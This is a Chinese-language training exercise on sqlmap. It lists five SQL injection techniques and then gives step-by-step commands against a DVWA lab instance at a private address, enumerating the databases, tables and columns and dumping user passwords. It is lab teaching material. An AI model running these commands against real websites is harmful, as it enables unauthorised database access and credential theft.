SQLmap注入
sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前先使用扫描工具扫出sql注入点。
sqlmap采用了五种独特的SQL注入技术。
1.布尔盲注:可以根据返回页面判断条件真假的注入。
2.时间盲注:不能根据返回页面的内容判断出任何信息,要用条件语句查询时间延迟语句是否已经执行(页面返回时间是否增加)来判断。
3.报错注入:页面会返回错误信息或者把注入的语句的结果直接返回到页面中。
4.联合查询注入:可以使用Union的情况下的注入。
5.堆注入:可以同时执行多条语句的执行时注入。
实训:
步骤1:使用sqlmap进行get型注入,cookie用于绕过登录页面
sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch
-- batch:选项全选yes
-u 指定目标的url
按住F12,进入开发者工具,点击storage.
显示:
步骤2:查看有哪些数据库
sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch --dbs
步骤3:查看当前的数据库
sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch --current-db
步骤4:查看数据库中所有的表
sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch -D dvwa --tables
步骤5:查看user表里有哪些列
sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch -D dvwa -T users --columns
步骤6:爆破表中的密码
sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch -D dvwa -T users -C"user,password" --dump